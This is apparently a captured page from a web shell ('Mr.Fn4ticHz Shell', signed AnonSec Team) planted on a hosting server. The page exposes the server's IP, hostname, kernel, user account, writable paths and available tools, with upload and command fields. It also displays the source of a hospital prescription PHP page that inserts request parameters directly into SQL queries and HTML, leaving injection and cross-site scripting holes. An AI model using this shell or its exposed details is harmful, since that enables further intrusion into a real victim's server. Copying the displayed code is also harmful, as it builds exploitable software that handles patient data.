Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.137.212.71
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//addrecords.php
<?php
include("header.php");
include("dbconnection.php");
if(isset($_POST[submit]))
{
	if(isset($_GET[editid]))
	{
		$sql ="UPDATE prescription SET treatment_records_id='$_POST[treatmentid]',doctorid='$_POST[select2]',patientid='$_POST[patientid]',prescriptiondate='$_POST[date]',status='$_POST[select]' WHERE prescription_id='$_GET[editid]'";
		if($qsql = mysqli_query($con,$sql))
		{
			echo "<script>alert('prescription record updated successfully...');</script>";
		}
		else
		{
			echo mysqli_error($con);
		}	
	}
	else
	{
		$sql ="INSERT INTO prescription(treatment_records_id,doctorid,patientid,prescriptiondate,status,appointmentid,problem) values('$_POST[treatmentid]','$_POST[select2]','$_POST[patientid]','$_POST[date]','Active','$_GET[appid]','$_POST[problem]')";
		if($qsql = mysqli_query($con,$sql))
		{
			$insid= mysqli_insert_id($con);
			$prescriptionid= $insid;
			$prescriptiondate= $_POST[date];
			$billtype="Prescription charge";
			$billamt=0;
			include("insertbillingrecord.php");	
			echo "<script>alert('prescription record inserted successfully...');</script>";
			echo "<script>window.location='prescriptionrecord.php?prescriptionid=" . $insid . "&patientid=$_GET[patientid]&appid=$_GET[appid]';</script>";
			
		}
		else
		{
			echo mysqli_error($con);
		}
	}
}
if(isset($_GET[editid]))
{
	$sql="SELECT * FROM prescription WHERE prescriptionid='$_GET[editid]' ";
	$qsql = mysqli_query($con,$sql);
	$rsedit = mysqli_fetch_array($qsql);
	
}
?>
<?php
	include("menu.php");
	?>
	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  input{ width: 100%;}
        </style>
</style>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
	

     <h1>Add New Records</h1>
      <form method="post" action="" name="frmpres" onSubmit="return validateform()">
     <input type="hidden" name="patientid" value="<?php echo $_GET[patientid]; ?>"  />
     <input type="hidden" name="treatmentid" value="<?php echo $_GET[treatmentid]; ?>"  />
     <input type="hidden" name="appid" value="<?php echo $_GET[appid]; ?>"  />
    <table class="center" border="1"> 
      <tbody>
          <tr>
       
          <td>Date</td>
          <td><input type="date" name="date" id="date" value="<?php echo $rsedit[prescriptiondate]; ?>" /></td>
        </tr>
          <tr>
       
          <td>Type</td>
          <td><select  name="Type">
    <option value="" disabled selected>Type</option>
    <option value="OPD">OPD</option>
    <option value="IPD">IPD</option>
     </select></td>
        </tr>
         <tr>
       
          <td>Category</td>
          <td><select  name="Category">
    <option value="" disabled selected>Category</option>
    <option value="General">General</option>
    <option value="Pregnancy">Pregnancy</option>
    <option value="Eye care">Eye care</option>
       </select></td>
        </tr>
        <tr>
            
            <?php
		  	$sqlpatient= "SELECT * FROM patient WHERE status='Active' AND patientid='$_GET[patientid]'";
			$qsqlpatient = mysqli_query($con,$sqlpatient);
			while($rspatient=mysqli_fetch_array($qsqlpatient))
			{
				echo "$rspatient[patientid]- $rspatient[patientname]";
			}
		  ?>
        </tr>
  <?php
		if(isset($_SESSION[patientid]))
		{
		?>
        <tr>
          <td>Healthcare Provider</td>
		  <?php
				$sqldoctor= "SELECT * FROM dr WHERE dr.status='Active' dr.drid='$_SESSION[drid]'";
				$qsqldoctor = mysqli_query($con,$sqldoctor);
				while($rsdoctor = mysqli_fetch_array($qsqldoctor))
				{
					echo "$rsdoctor[Drname]";
				}
				?>
                <input type="hidden" name="select2" value="<?php echo $_SESSION[drid]; ?>"/>
          </td>
        <?php
		}
		else
		{
		?>        
        <tr>
          <td width="34%">Helthcare Provider</td>
          <td width="66%"><select name="select2" id="select2">
          <option value="">Select</option>
            <?php
          	$sqldoctor= "SELECT * FROM dr";
			$qsqldoctor = mysqli_query($con,$sqldoctor);
			while($rsdoctor = mysqli_fetch_array($qsqldoctor))
			{
				if($rsdoctor[drid] == $rsedit[Drname])
				{
				echo "<option value='$rsdoctor[drid]' selected>$rsdoctor[drid]-$rsdoctor[Drname]</option>";
				}
				else
				{
				echo "<option value='$rsdoctor[drid]'>$rsdoctor[drid]-$rsdoctor[Drname]</option>";				
				}
			}
		  ?>
          </select></td>
        </tr>
          </select></td>
        </tr>
        <?php
		}
		?>
		 
        <tr>
          <td colspan="2" align="center"><input onClick="redirect()" type="submit" name="submit" id="submit" value="Submit" /></td>
        </tr>
      </tbody>
    </table>
    <p>&nbsp;</p>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>
<script type="application/javascript">
function validateform()
{
	if(document.frmpres.select2.value == "")
	{
		alert("Doctor name should not be empty..");
		document.frmpres.select2.focus();
		return false;
	}
	
	else if(document.frmpres.select3.value == "")
	{
		alert("Patient name should not be empty..");
		document.frmpres.select3.focus();
		return false;
	}
	else if(document.frmpres.date.value == "")
	{
		alert("Prescription date should not be empty..");
		document.frmpres.date.focus();
		return false;
	}
	else if(document.frmpres.select.value == "" )
	{
		alert("Kindly select the status..");
		document.frmpres.select.focus();
		return false;
	}
	else
	{
		return true;
	}
}
</script>

Anon7 - 2022
AnonSec Team